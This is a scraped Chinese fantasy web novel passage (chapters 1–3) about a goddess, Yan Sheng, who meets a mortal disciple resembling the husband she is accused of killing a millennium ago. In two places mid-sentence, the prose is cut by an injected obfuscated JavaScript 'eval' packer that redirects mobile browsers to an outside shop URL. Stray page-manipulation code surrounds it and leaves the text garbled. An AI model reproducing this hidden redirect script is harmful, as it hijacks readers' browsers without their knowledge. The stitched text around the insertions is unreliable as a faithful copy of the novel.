《和被灭天道成了模范情侣》 1. 重逢 颜笙犹记得千年前大婚那日,鹤冲山的大雨已连下十日。 此刻,宴会厅冷冷清清,空无一人。新郎官是鹤冲派掌门,怜惜门下弟子,特准他们留在住处避雨,无须冒雨赴宴。 屋内的红烛静静燃烧着,提醒着她,这是她的洞房花烛夜。 新郎迟迟未到。 颜笙从黄昏坐到现在,心底的羞愤与屈辱愈积愈烈。她伸手掀开枕头,翻出暗藏的斩仙剑,刀面倒映着红帐如血。 她推门而出,却见陆归年早立于门口。他身上并无酒气,身上衣衫未湿,发丝未乱。估摸着一早就静候在门外,只是不肯入门。 “今日风疾雨急,你先在此处歇息吧,明日弟子会送你下山。”陆归年态度冷漠,仿佛今日不是大婚。他脚尖朝外,说完这话后,身子也转向后方。 “等等——” 颜笙叫住他。 陆归年听到颜笙呼唤,转过头 冰冷的宝剑直刺入陆归年的胸膛,剑柄握在颜笙的掌心里,她收紧五指,剑身没入更深处,但他身上,不曾有一滴血。 他不是凡人? 一道白光乍现,冲开握着长剑发愣的颜笙。 陆归年身上冒着金光,同时身上涌出无数道饱含灵力的光束,纷纷袭向颜笙,震得她节节后退,脑袋重重撞在梁柱。 颜笙视线模糊,额头伤痕流下的血液染湿了睫毛,眼前仿若蒙上一层红纱,看得极不真切。 朦胧间她瞧见陆归年朝她走来。她意识有些模糊,只记得手里紧紧攥着那剑,渐渐昏迷过去。 再次醒来时,映入眼帘的是刺目的殷红。 陆归年倒在血泊中,被血液浸湿的衣衫碎裂,胸膛纵横着刀痕,仿佛被人反复斩割,约摸着有一百多刀。 而这行凶的暴徒—— 颜笙低头看向手里握着的斩仙剑,一滴一滴的血珠滑落地上。 是她动的手? 她的确有动念头,恨不得砍他九九八十一刀。 可她明明只记得动手砍了一剑,还记得他未有流血,反倒把她打昏,怎会一醒来见他满身鲜血?难道她被气得走火入魔了,无意中发狂虐杀了陆归年? 恍惚间,她的身子幽幽上浮,宛若一缕青烟。 她飞升了! 忽然,一阵浓重的檀香直冲天灵,将她猛地从飞升那日的梦境中扯回。 颜笙剧烈咳嗽,心神一震,她想起来这里是一千年后的鹤冲山。 方今世上已无鹤冲派,取而代之的是她创立的门派抱朴派。现任掌门黍三刀是她的外门弟子,而此处是供奉她的神庙。 要不是为了躲神尊,她作为上神,才不至于躲在这里。 神像前站着一女孩,把燃香举过头顶,对着神像默默祈祷。 “颜笙娘娘在上,愿您保佑混沌世界永远和平……” 颜笙扬着下巴,轻蔑地冷笑,“这可实现不了。除非世间所有生物都灭绝。” 元沁雪听着这声音脊背发凉,庙里除她以外还有别人? 声音好像来自正前方。 她抬头瞅向冰冷的神像,一对微眯的空洞杏核眼,今日隐约透着亮光。 神像睁开双眼,左右打量四周。 庙内立着四根黄金雕柱,座下案桌使用的是上好的金丝楠木,插香用的铜鼎刷着仿古漆色。黍三刀不愧是暴发户出身,审美一点也不韵致。 颜笙身姿板正,直挺挺地走下神坛。她随手拿着供桌上的苹果,淡淡打量一眼,低声絮叨:“一个两个,都爱用苹果当贡果,都不知道苹果会导致经脉气滞,影响修行。” 元沁雪低头应道:“……好的,下次换橘子。” “荔枝吧。留着皮,我喜欢自己剥。”颜笙说完顿了顿,把苹果放回去,又继续“现在的荔枝不好买。我喜欢果实类的,随便买点枣和葡萄之类的也行。” 元沁雪继续应道:“弟子记下了。” 颜笙这才意识到方才的絮叨被人听见。她转头看见方才振振有词的元沁雪,正僵僵地点头。 被颜笙这么一瞪,元沁雪几乎忘了呼吸,握香的手微微发抖。 那根线香本就烧去半截,已经烧出大段香灰,长长香灰弯折,摇摇欲坠,几乎要掉下来,烫到元沁雪的手背。 颜笙弹指,一道光抵住摇摇欲坠的香灰,又隔空牵引元沁雪的手,把香插进铜炉。 “这端着的姑娘是谁?莫非是鹤冲派弟子的冤魂?”元沁雪的声音传来。 颜笙看一眼元沁雪,见她没张嘴。 差点忘了,这里是神庙,信徒在她的神像前点上香,心声自然而然会传到她耳边。 至于小信徒嘴里的端着的姑娘,应该是在这里工作的崔瑶。可是她今晨向她请了探亲假来着,这么快就回来了? 颜笙往后瞧半天,没看到崔瑶的身影,但依稀瞥见了自己的神像。她回头望着那神像,面色凝重了三分,随即翻了个白眼。 这神像满身珠翠、慈眉善目,但——满头苍苍银发,脸上的褶子熨三天三夜都熨不完,还有点富态,耳垂长得都能荡秋千。 “这是你们眼里的颜笙上神?”颜笙问。 元沁雪点头如捣蒜。不知怎的,她感觉到强烈的压迫感袭来,仿佛有万斤巨石压下,令她呼吸急促,连膝盖都在打颤。 颜笙继续问她,“你看得见我?从什么时候开始?” 元沁雪道:“从‘世界和平’开始,就能看见神使了。之前的神使也能看见,不过今天是换了一位神使?” “神使?”颜笙略显吃惊,还好这丫头把她当成了神使,便是将错就错:“嗯,对,我也是颜笙上神的神使。庙里常驻神使的父亲病重,她请假回去照顾父亲了,所以换我来代班。” 颜笙秉着负责的态度,又道:“不过,你刚才愿望,这边建议换一个。” 元沁雪点头,“可否把愿望换成让陆师兄醒来?” “陆师兄?”颜笙耿直的脖子微微一颤,听到“陆”字形成条件反射,登时提起了警觉。但想想她也可能说的是“路”或者“鹿”,这才将情绪平复下来。 元沁雪解释:“陆师弟是负责看守人面树的弟子,也负责鹤冲派的农林耕作。五百年前混沌□□,全派上下就是靠着陆师弟才能苟活下来。前段日子他突然昏迷了,至今未醒。” 颜笙想了想,这事她确实得管管。 好歹她吃了抱朴派这么多香火,自己吃饱不能看自己的信徒饿死。 “我先去打听一番,”颜笙又补充一句:“修仙本就是和天道争命,修士随时可能无征兆离去。若已被送去投胎,哪怕颜笙上神亲自来也无用。还请不要执着。” 元沁雪点头,“我能接受。” 颜笙展开灵网,向已在幽冥的崔瑶发送了寻人的信号。过程中察觉出有点不对劲,抱朴派内灵气混杂,略带杀气,像是附近发生过激烈争斗。。 颜笙疑惑道:“抱朴派近日发生了什么事?” 元沁雪回答:“倒也没什么大事,就是和附近门派又发生点口角。” 这确实不是什么大事。门派之间常会因为抢土地资源而产生摩擦。 偏偏这时候,元沁雪在心里嘟囔:青口派攻上无神峰了,等下抱朴派恐怕要被灭派。要不等会我下山,回去跟我爹认个错,顺便继承他和我娘的万贯家财算了。 颜笙:?? 颜笙惊坐起来,跳下神像走到大门口,把大门一推,回头看向正在胡思乱想的元沁雪。 “你领我去趟无神峰,我们下去拯救下世界和平吧。” * 鹤冲山第一高峰是凌绝顶,原本供奉天道,现在供奉颜笙。鹤冲山第二高峰,便是元沁雪心声里面的无神峰,掌门黍三刀在此居住。 无神峰山路崎岖,以前陆归年并不居住这里,这里有座飞颜阁,里面摆着颜笙的雕像。颜笙飞升后,飞颜阁便被转移到了天上的桃源境。 两人坐上云朵,元沁雪在路上打开话匣子,说家里的事。她之所以能听到颜笙的声音,是因为她是半仙血统,娘是下凡的花仙,爹是一位已飞升的丹修。 颜笙在桃源境并不结党,不认识这对仙人,敷衍地搭话。 元沁雪突然问起鹤冲派的秘辛,“听说当年鹤冲派一夜消失。都说是被颜笙上神灭门了。” “全宗飞升到桃源境了。”颜笙眼皮都没抬。 “我们抱朴派也会这样吗?”元沁雪追问。 “不会。”颜笙懒懒丢下两个字,也不继续解释。 颜笙说完扫兴的话,元沁雪的话却越来越多。或许颜笙早上梦见陆归年,她现在提起鹤冲派只会觉得心烦,便把云彩降下来。 她想把元沁雪丢在这里。 两人降落的地方位于两山之间的鸿沟,修炼的灵犀河流经这里通往山下。那河流乌漆抹黑的,散发浓烈恶臭。 颜笙皱了皱鼻子,凑近河流观察。 青口贝密密麻麻地叠在河流中,宛若万千乌黑硕大的虫子,他们之中有些活贝,有些是死贝。恶臭便是来自那些未能及时收尸的死贝。 颜笙想起元沁雪说的“要被青口贝灭派”,派内唯一一条灵脉都被堵了,还真是要被灭派。 “这灵脉都快堵死了,也没人来疏通。你们掌门怎的坐视不理?” 元沁雪支支吾吾:“掌门……闭关了。说到底,造成这般场景也是颜笙上神的意思,没人敢忤逆。” 倒成了她的问题?颜笙侧目,“说来听听。” 元沁雪低声抱怨:“延寿丹太贵,弟子们长年买不起。五百年前,山外环境恶化,经常有妖精上山求助。有人提议,把青口精引入山中。说他们擅炼丹,或许能压低丹药的价钱。 她接着补充道:“这事掌门不同意,说是怕他们和抱朴派弟子抢资源。但长老们去请示颜笙上神,上神也点过头,说保护一下邻里也没什么。自那以后,掌门便闭关了。” 颜笙脚步一顿,眉头微蹙。 好像还真是她的主意。 当年确有人上奏此事,她没多想就同意了。 一来她怜惜青口精,二来她不擅炼丹,每年只能派发几颗丁等延寿丹。看着自己的信徒找到多一条炼丹路数,她自然是支持的。 不过这件事之后,小肚鸡肠的黍三刀气得闭了关,把权力放给了坐忘八长老。 结果,青口贝疯长,占尽鹤冲山的资源,派内各种物价蹭蹭上涨,延寿丹非但没便宜,价格还翻了八倍。 颜笙感叹:“这烂摊子……我自己收拾吧。” 说罢,她袖口一拂,从两仪袋里拿出枚空珠,抛向半空。那珠子宛若一条吸水龙,把河道里所有青口贝都吸纳进珠子,转瞬清水见底。 河上方浮起幽幽灵气,浓郁而清冽, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16961650|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一阵清风徐来,灵气缓慢地朝着下游飘去。 颜笙看着元沁雪,把珠子塞入她掌心,淡淡吩咐:“交给黍三刀。替我转一句话:老虎的耳朵,扯不得。” 元沁雪转头看见颜笙木讷地站着,身板停止,下巴微抬,一副趾高气昂的模样,便问:“‘老虎的耳朵’什么意思。” 颜笙微笑着点点头,没头没尾地说道:“如此,甚好。” 元沁雪小嘴叭叭地说,这旁边的颜笙不厌其烦地点头重复着“如此甚好。” 很快地,两人便走到了黍掌门闭关的无神峰。 无神峰上分散着站满青口精,抱朴派的弟子集中站在内圈显得人数寡少。 围在中心处的是两派高位阶的长老,抱朴派的坐忘六长老齐齐上阵,和青口派长老向彼此投掷法术。 两道法术的光芒在空气中相遇,却忽然间消散不见,而两派的长老维持着发招的姿势。忽而山间的青口精变成无数道雾气,蒸发在空气中。 “怎么回事?”人群里的元沁雪抱着珠子,捏了一把汗,转头看向旁边。颜笙早已不见踪影,旁边站着一头眼熟的鹿,头顶缠着绷带,嘴里嚼着柠檬草。 好像是掌门出走五百年的坐骑,坐忘八长老之一。 元沁雪小声试探道:“鹿长老?” 绷带鹿抬眼瞧向元沁雪,嗷嗷叫了一声,突然撞开了山门。 * 真正的颜笙利用金蝉术,早已灵魂脱壳。她此刻位于鹤冲山的下游,把青口精放归山下的青口派据点。 崔瑶传来消息,“上神,您要我查的事情有结果了。” 颜笙点头,“讲。” 崔瑶道:“幽冥确实有位姓鹿的弟子,名字叫鹿不沾,已经走到奈何桥边,非要往前尘汤里面打一颗柠檬。汤小娘不准,觉得这是亵渎她的厨艺,俩人打了起来。最后鹿不沾被关在陀铃火渊五百年。徒儿已经把他送回去了。” 颜笙右眼皮直跳。投胎的时候和孟婆打架,这奇葩应该不会是陆归年或者他的转世,未免太癫了。 旁边站着的另一个颜笙适时点了点头,“如此,甚好。” 这是她刚才放在元沁雪身边的点头怪,是她做出来应酬专用人偶,但只会微笑点头,说提前准备好的句子。 颜笙把点头怪收回两仪袋,拿出自己的通行令牌,正要腾云离去。手背突然一阵刺痛,激得她没拿住令牌,掉到地上。 不知哪里窜出来的猫妖挠她一下,她简单愈合了伤口,便低头去捡令牌。 岂料那只猫妖根本没走,窜到她前面叼走令牌,往林子深处窜去。 颜笙顾不得驾云,提步追逐橘猫。 追到半山腰,山路尽了,前方是一片浓稠的白雾,但令牌的气息就在这附近,那猫妖似乎已经停下了脚步。 一阵风过,浓雾里露出一张哭丧的脸,仔细看竟是一棵树。 颜笙想起来这是陆归年种下的人面树。 陆归年在天地人三界各种下一棵带着面孔的树,所有人都对此树一无所知,只知道这树什么果子都能结,会按照你想要的结出想要的果子。 自从天道魂灭后,三棵树一夜之间化为枯树。 颜笙回过神,隐约瞧见树后藏着一道人影,白衣和发带随风飘动。 一位男子自阴影里缓步走出,身材高挑匀称,穿着宽松的素色长袍,如同一块裹在新雪里的美玉。他手中提着一块紫檀木令牌,上面深深镌刻着一串眼熟的仙文。 他抬手正要拿红绳将令牌系上树梢,颜笙悄然贴近,指尖掠过他腕侧,轻轻一扯红绳,那令牌自树梢落下。 男人似有所察,蓦然回首。 一张清秀面容映入颜笙眼帘,她不由得呼吸一窒,连令牌也顾不得去接,心头仿佛有块大石压着。 这张脸……怎会和陆归年一模一样? 那个大婚当日将她逐出门去,又最终死在她手中的鹤冲派掌门陆归年,也是消失一千年的…… 天道。 她竟觉面上微烫,不知是因旧事浮现,还是因这张隽朗面孔逼近,薄荷草般冰凉的呼吸扑在她脸上,引得她表现得有些不自然。 男子视若无睹,转身便要离去,颜笙却猛地攥住他宽大的袖角,另一手疾探向他后颈,试探他的神魂。 不是他。 凡人而已。 仔细分辨,他三魂中缺了地魂,而天魂亦带裂痕,宛若被岁月撕扯过,修行之路几近断绝。 颜笙缓过一口气,暗嘲自己多心。 陆归年那等性格古板之人,一年四季都只穿鹤冲派统一的黑红白三色制服,扣子永远严谨地扣到最上排,又怎会披一袭松散素袍,仿佛换了一个人似的? 男子却在此刻拂开颜笙的手,自向后退了几步。 颜笙才意识到她方才的举止过于亲密了,初次见面便对陌生男子动手动脚,实在有些丢人。于是她假意轻咳两声,掩饰道:“不好意思,我是山中修行的小妖,一时冒犯,还请见谅。” 男子唇畔含笑,声音冷淡:“化神境以上的‘山妖’,还算是妖么?” 真是一点面子不给。 颜笙只得干笑两声,“抱歉,是我失言了。” 男子的目光掠过她手中的令牌,轻叹一声:“是在下失敬了。”再度后退半步,执礼恭谨却疏离:“抱朴派弟子陆析,见过颜笙上神。” 2. 识破 天庭通行证记录着天人的姓名与地址,每位仙人手里都有一块,代表每位仙人的名字。冒用别人的通行证受天罚,没有仙人会违反该条天规,但凡人不知道这点。 颜笙接过令牌,对陆析拱手道:“多谢陆兄。若是弄丢了颜笙上神的牌子,她会惩罚我的。” 陆析冷漠地看她一眼,询问:“自己惩罚自己?” 他是看出她的身份了,又也许是在诈她? 颜笙忙不迭地解释:“兄台说笑了,我只是一名籍籍无名的小仙,哪里会是三界修为第一的上神颜笙。” 陆析见她谎话连篇,不留情面地点破:“小仙会能解开青口派千年妖物的禁术?” 颜笙苦闷地感慨。 抱朴派的人可真是实心眼子,以诚实守信为荣,以弄虚作假为耻,说不得一点谎话,见不得一点假事。 陆析身为抱朴派弟子,自然不肯陪她作戏。 颜笙不愿他对外说出此事,尤其是对抱朴派的人。她介入人界事务,这件事不能传扬出去。 无为之神的人设不能崩。 颜笙曳起陆析的袍角,软下语气,请求道:“陆兄,这件事你不会传出去的。” 陆析没有理睬,转身走了,留给她一个渐行渐远的背影。 颜笙手掌伸入乾坤袋中,掏出一根捆仙绳,名为束三生。绳子蜿蜒在她手臂,犹如一条长身青蛇。 她指尖朝陆析背影一点,束三生呲溜窜出。 陆析听到动静,转过身子,朝向颜笙望去,与绳子撞个正着。他瞪一眼绳身,束三生见鬼似的回撤,缠绕回颜笙的剪头,绳头瑟瑟缩缩躲在她肩窝处。 没见过这么怂的法器,区区一名凡人,竟吓得腾蛇甘作缩头乌龟。 颜笙气恼,揪起绳头,冷眸一瞪,嘴角扯起比哭还可怕的狰狞笑容,威胁束三生:“到底走不走。” 束三生上下摆动脑袋,不住地点头。 颜笙收敛笑意,朝陆析投掷绳子,高喊:“既然知道,还不赶紧去。” 束三生如猛蛇出洞,再接再厉,一鼓作气,正浮荡在空中,一道金光乍现,弹开猛力冲刺的绳子。 大片金光遮蔽前方的路途,宛如一层厚障壁,任头铁的束三生撞墙不回头。 颜笙回收蔫巴巴的绳子,差点呕出一口价值三千年的陈年老血。 束三生虽为捆仙绳,却是万年腾蛇所化,于世间万物无不所陷,现在撞光墙撞得,绳头都撞秃了。 颜笙缠回不愿再看的绳子,心底纳罕:这个陆析到底是什么东西化的,比韩非子的盾还硬。 再一抬头,金光散尽,陆析已不见踪影。 颜笙瞅向歪脖子槐树,又低头扫一眼手中的天庭通行证,细细思索。 几个时辰前,她摔下树才导致通行证遗失,而后陆析捡到这通行证,将它还给她。问题就来了,当时陆析比她还快离开这棵树,是怎么捡到的通行证? 她捏着青口门弟子吐出的绿砂,指尖用力一夹,沙子碾成齑粉,随风扬入湿润的空气。 树梢一片叶子离开,随着这股骤然而起的清风飞走,穿过一片茂林。风停时,叶子飘在后山一处僻静之地,直坠入一汪澄澈水池。 在落叶之下,各色金鱼在池中游动。 橘猫蹿出灌木丛,趴到水池边探着头,爪子伸进水中搅拌,捞出条金鱼。 水上映着一张猫脸,圆滚滚的,腮帮子塞得鼓鼓的,嘴里露出一条鱼尾,扑腾扑腾拍打猫脸。 还有一道白衣男子的倒影,渐渐朝池边靠近。 橘猫抬头,正对上陆析的脸,便扬起脖子,欲生吞锦鲤。 陆析拎起橘猫,捏开它的嘴,拽出一只金鱼。 金鱼奄奄一息,躺在陆析的掌心。星星点点金光覆盖体表。不久,金鱼复苏,挣起身体。 陆析倾斜手掌,金鱼顺势滑下,落回鱼池中央。 “喵喵喵” 橘猫不停地高声嘶吼,似是破口大骂,露出修剪整齐的指甲,隔着空气对陆析挥动爪子。 陆析提着猫脖子,充耳不闻橘猫的抗议,等候橘猫停下躁动时,他面上仍淡无表情。 一人一猫面面相觑,大眼瞪小眼。 橘猫垂头丧脸,开始扯嗓求饶,祈求陆析放它下来。 僵持一阵子后,陆析忽然开口,认真道:“圆胖橘,今日你不该招惹她。” 话落,他翻开橘猫掌心,爪子沾着不属于人间的彩色漆料。圆胖橘今日偷了颜笙的腰牌,这手掌上的颜色便是那腰牌上面的。 陆析以清水洗净橘猫的双手,又摘下旁边树梢上的金桔,看到圆胖橘乖乖张开嘴,便把金桔投喂进去。 就在这时树梢微颤,水池旁飞来一块矿石,停立在水池边。一道光影自石头中间射出,一位女子面孔映了出来。 女子与他衣着相近,是抱朴派的弟子。她眼睛往下一看,瞅见了陆析怀中的橘猫,欣喜地朝它摆摆手:“圆胖橘,又缠着陆师兄玩呢。” 圆胖橘半眯眼睛,白了一眼陆析,左右摆头,没好气地喵喵几声。 女子听不懂猫语,只觉得它在叽叽呱呱卖萌,弯起双眼露出甜笑。 “元沁雪,派中可有要事。”陆析肃着脸,淡淡问道。 公事公办是陆析一贯准则,他绝不会浪费时间,与派内其他人谈论私事,也不与任何人来往过密。 元沁雪深知这一点,很快切入正题: “陆师兄。今日神使走后,青口派自河道攻入见素台。幸好神使在门派留下一道守护结界,把青口妖全部打回原形,漂来的青口贝堆积在河床。” 陆析旋即沉默,联想到林间遇到的青口派弟子,问道:“今日可有新入门的弟子?” 抱朴派身处穷乡僻壤,灵脉比手臂还细。有志向的修真者,都会投靠地处人界灵脉之源的鹤冲派,那轮得上抱朴宗。 元沁雪嗤笑一声,又道:“放心,没有。陆师兄不必再出面。” “还有其他事吗?若是没有,该掐断石头的画面了。”陆析捏着石头,注入一点灵力,映出的画面开始模糊。 “哎哎”,元沁雪用力拍打石头,呼出两声阻止:“陆师兄,先等等。我还没有说完。” 见陆析撤回灵力,石头上映出的画面逐渐清晰,元沁雪继续说道:“庞师叔这边熬了些滋补修为的汤,用的是天界古法,师兄要来领一碗吗?” 陆析抬眸,看向元沁雪身后的冒着热烟的碗,说道:“这汤,是青口汤,青口派弟子熬的。” 元沁雪道:“对。师兄果然绝顶聪明。” 正说着,元沁雪眼前的画面一黑,陆析那头关上了通讯器。 “元师妹,喝汤去,既然陆师兄不领情,这碗就给你。”宗门男弟子瞥见陆析掐画面的全过程,摇摇头,“庞师叔平日最疼陆师兄,可他从不领情,好像两个人有世仇似的。” 与此同时,陆析盘腿而坐,替青口贝超度灵魂,念了七七四十九遍超度经文后,他睁开了眼睛。 一只拥有金黄外壳的蝉,踏在他的鼻尖,微微搔动轻薄的蝉翼。 陆析黑沉的眸子盯看金蝉,叨念道:“颜笙上神,可是看够了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16961651|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “哎哎?”颜笙捧着镜子赶路,听见陆析的声音,低头又见他无限贴近的俊美面容,她吓了一跳,赶紧捂住嘴巴。 陆析两指捏起金蝉的身子,颜笙在另一头呜咽道:“别,别,一只蝉养到这么大怪不容易的。” 颜笙闭起眼睛,捏着耳朵,等了许就都没有听见金蝉的惨叫。 “颜笙上神。”半晌,陆析唤了一声。 颜笙眯开半眼,瞧见陆析瞪着金蝉,问他:“嗯。留它一命?” 陆析同意她的请求,又补充道:“可以。它随便在哪里飞。但除去沐浴和睡眠时,它不可以靠近。” “好,我答应你。还有什么。”颜笙难掩激动,对陆析百依百顺。 陆析说道:“刚刚还有一层意思。意思是,现在我要去沐浴了。” 颜笙听到这里,脚下一个踉跄,红晕飞腮,眼光飘远:“好好好,我这就关闭。” 没等颜笙及时关闭接收画面的铜镜,镜中影像已然黑了。 颜笙没想到,陆析这凡人竟然敢掐掉她的信号。 不过探查蝉的生命,它依旧活着,她松了一口气。 颜笙左右查看四周,发现自己降落的地方竟然不在自己的宫殿附近,所以拿出通行证导路。 步行两三步,颜笙瞧见前面聚集着一伙神仙,男女老少悉数皆是,她想着便凑过去。 她因为修为高所以耳力极好,还没走近就隐隐约约听到他们念叨自己的名字。 颜笙掐了一个隐身术,混入仙人之中,就听到他们七嘴八舌。 “那位上神听说会是下一任神尊。今日百仙大会上,神尊说了这事。不过颜笙上神不在,所以没有直接继位。” “神尊老东西算盘响亮,说是自己年事已高退下去,还扶持自己的残废儿子上位,要那位嫁给自家的废物。” “但除了他,三界也没人敢娶那位上神。毕竟她杀了......” “天道。捅了九九八十一刀,当场魂飞魄散,那位可真是个狠人。” 说到这里,人群中连连发出感叹,回忆起惨死的天道、但他们悲哀地发现,天道的陨灭已有上千年,他的形象也在脑海中渐渐模糊了。 颜笙纵使经常回忆陆析的过往点滴,但仍抵不住岁月,脑海中他的形象日渐模糊。 她听着众位骂她骂得起劲,唾沫星子飞驰,她正欲离去,瞧见人群里突兀地站着陆析的首席弟子窦不迟。 窦不迟因为是天道首徒的缘故,修为在寻常仙人里也是佼佼者,身高在人群里宛若鹤立鸡群,手里拿着一把黑伞。 颜笙认出了这把伞,是聚魂所使用伞,不免感慨一声,窦不迟这些年还是没忘去寻找他师父散落的魂魄。 她又何尝不是呢。 但这些年她用尽办法替他招魂,却始终没有寻觅到他的一点踪迹。 颜笙夺过了那把招魂伞,这伞有点沉重,在他旁边打开了黑伞。 瞬时间伞下的她,渐渐显现出身形。 站在颜笙旁边众位仙人看见了颜笙,笑容渐渐凝结在脸上,声音也慢慢减淡。 “那位上神......” 不知道是谁喊了一声,诸位神仙的目光一瞬间聚向颜笙,他们的声音戛然而止。 颜笙刚开口:“诸位可是对我本上神有意见?” 众位神仙如作鸟兽散,慌忙逃离了此地,留下愣在原地的颜笙,和被颜笙当场抓包的窦不迟。 窦不迟慢慢靠近颜笙,唤了一声:“师母....”又犹豫地问她:“师母打算改嫁崔攸宁?” 3. 悼亡 颜笙没想到窦不迟会这么问。 过去陆归年遇害,颜笙被天界千夫所指。颜笙这些年也认定是自己杀了人。窦不迟作为首席弟子,与师妹甄婉两人坚定地站在她身边,表示相信颜笙的无辜。 颜笙向来把两弟子当做自己人,坦诚道:“没这回事。” 窦不迟松了一口气,装腔作势地表示:“师母寡居千年,寻个仙侣也好。” 听者有心,颜笙把这句客套话听了进去,当真仔细思考一番。 近些年神尊总想削弱天道的影响,企图以神道凌驾于天道。多亏颜笙雷打不动地主持祭祀,不断强调天道的存在。 就是单打独斗是有点辛苦,她需要找个帮手。 颜笙点头附和:“可以考虑。” 窦不迟暗道不妙,这还真提上日程了。转念一想,师娘也就是过过嘴瘾,她就像朵照水自怜的水仙花,在桃源境没有看得上眼的。 毕竟天界嫌少有人,没听过“半夜笙歌”的恐怖故事。 窦不迟道:“选个人品端正的凡人吧,男仙多数都只是觊觎您身上的天道之力。” 哪来的天道之力?颜笙翻了个白眼。 犹记得刚飞升那会儿,她在百仙大会初次亮相,有位仙人邀请她到蟾宫赏月。 颜笙越想越不对劲,月亮抬头可见,用得着大老远去蟾宫?怕不是醉翁之意不在酒?月黑风高好杀人,怕是要把她诛仙了,替陆归年报仇。 越想越觉得害怕,她要想在这里生存就得立个威。 像颜笙这种惜命的,在那之后不分昼夜地练功,等到赴约那日,还没等那位仙人开口,便把仙人一招击倒,痛得那仙人哀嚎了一晚上。 这是传得太广,仙人觉得输了栽面,到处污蔑颜笙身负天道之力。 颜笙懒得否认无稽之谈,仙人更细思恐极,谣言越传越有鼻子有眼,从此远远瞅她一眼便浑身发抖。 思绪回笼,颜笙轻揉一下太阳穴,摇了摇头,“我的东西骗不走,倒是你的灵石……”她抬头望了望头顶撑着的黑伞。 黑伞内部亮起无数亮光宛若夜空繁星,金色的细线分类串联光点,勾勒出诸天星座的形状,俨然呈现出一幅浩瀚星图。 窦不迟道:“师娘若是喜欢,就送您了。“ “这伞……多少灵石?”颜笙询问,翻出自己的两仪袋。 窦不迟支支吾吾,“不贵。都说送您了,不必再问。” “多少?”颜笙语气严厉地问。 “八百。”窦不迟犹豫地回答,看颜笙脸色黑沉,憨憨地解释:“崔攸霁说是能招魂的,连师父的魂也能召回来。不过好像上当了。” 颜笙从两仪袋里掏出八百灵石,塞给窦不迟,“仙及喜欢这伞,我替她买了,你拿着吧。” 仙及是颜笙饲养的金蝉,这蝉是一只不会化形的哑蝉,在天上没什么大用。颜笙苦修的时候和她作伴,所以颜笙飞升时把仙及也带上了桃源境。 这借口找得颇为勉强,一只蝉怎能撑伞?但窦不迟一听就明白,这是师娘在给他台阶下,便说道:“多谢师娘。” 颜笙摆手,“谢什么,我也不会吃哑巴亏。走,我们去趟清凉殿。” 窦不迟脸上掠过一丝为难,“他是唯一与您交好的正殿主神,这样兴师问罪,会不会不大好。” 颜笙轻哼一声:“这伞当初崔攸霁也卖给崔瑶,说能招她亲娘的魂。结果呢?崔瑶白请一个月假,什么也没招来。” 她收起两仪袋,决心已定:“他为了那九色麦的经费,连亲闺女都骗,是时候敲打敲打了。” * 清凉殿的门匾摇摇欲坠,颜笙走近时,习惯性地把那匾额扶正,重新钉在门框上方,这才算安心领窦不迟进去。 进门就能闻见天然化肥的质朴气味,门口犁地仙车停下。 仙车里走下来一女仙,发髻梳成灵蛇髻,她是清凉殿的神使宋青葱,相好的是良缘阁里的主神,她有个胞妹宋姜露,是崔瑶在幽冥时的旧交。 宋青葱看见颜笙和窦不迟,站起来朝他们招手,宋姜露余光扫一眼,便走去歇脚亭,仿佛没看见颜笙。 “她性子就那样,别在意。”宋青葱替宋姜露解释。她的性格倒是亲热,迎上颜笙两人便夸耀:“最近禾苗一茎生二岁,我当是什么吉兆呢,原来是贵人来了。 都说伸手不打笑脸人,但颜笙可不会,直截了当:“你们正殿的主神,前些日子找我俩徒弟,花八百灵石买伞。” 宋青葱面色一僵,抬手捂肚子:“哎哟,我肚子疼,先回去休息了。” 宋姜露闻声探头,从亭子里走来,拿出自己钱袋子,递给颜笙:“这钱我先垫上。这两天公子情绪不好。” “九色麦没做出来?”颜笙抬高音量,没好气地催促道:“蟾桂宴快到了,要是做不成九色麦芽糖,六公子的神尊老爹又要裁神了。” 宋姜露忙往颜笙嘴里塞了一块麦芽糖,“早备好了,小点声音。”等见宋青葱走远,又递给颜笙一张废稿。 揉得皱巴巴的纸上,居然写着一首诗。 宋姜露解释:“隔壁危冥星君新做了首悼亡诗。六公子不想被比下去,这会儿在屋里憋悼亡诗呢。” 谁不知道崔攸霁这位小少爷,当年在幽冥城春宵一度,然后拍拍屁股回家当闲散单身神仙,叫妻女两个在幽冥受罪。 “哟,还真是大事。”颜笙干笑,“悼念亡妻可是男文人的时尚单品。妻子在时没好好珍惜。等老婆孩子上天堂了,抱着新妇,无病呻吟两句‘红酥手’、‘巫山云’。” 里面的崔攸霁听着冷言冷语也没吭声,颜笙觉得无趣便离开了。 回去时路上飘起小雨。 颜笙撑起招魂伞,想起手里还拿着那张废稿忘记还,瞥见两句“众口销金石,未疑故所爱”,忍不住嘲讽道:“若真恩爱两不疑,怎么没见他陪瑶儿回去祭拜。” 窦不迟闻言看向颜笙,先是愣了愣,仿佛神思还滞留在别处,茫然地接话:“如此甚好。” 颜笙本要把废稿丢了,忽而想起崔瑶娘的忌日快到,便把那首酸诗誊抄在绢帛上,又随手在后面补了熟稔的诗句,揣进两仪袋里。 她打算回头交给崔瑶,让她烧给她去世的娘亲。 “你说,崔攸霁每天念叨思念亡妻,这亡妻入梦了,他是欣喜多还是惊吓多?”颜笙补完诗,对着窦不迟展示。 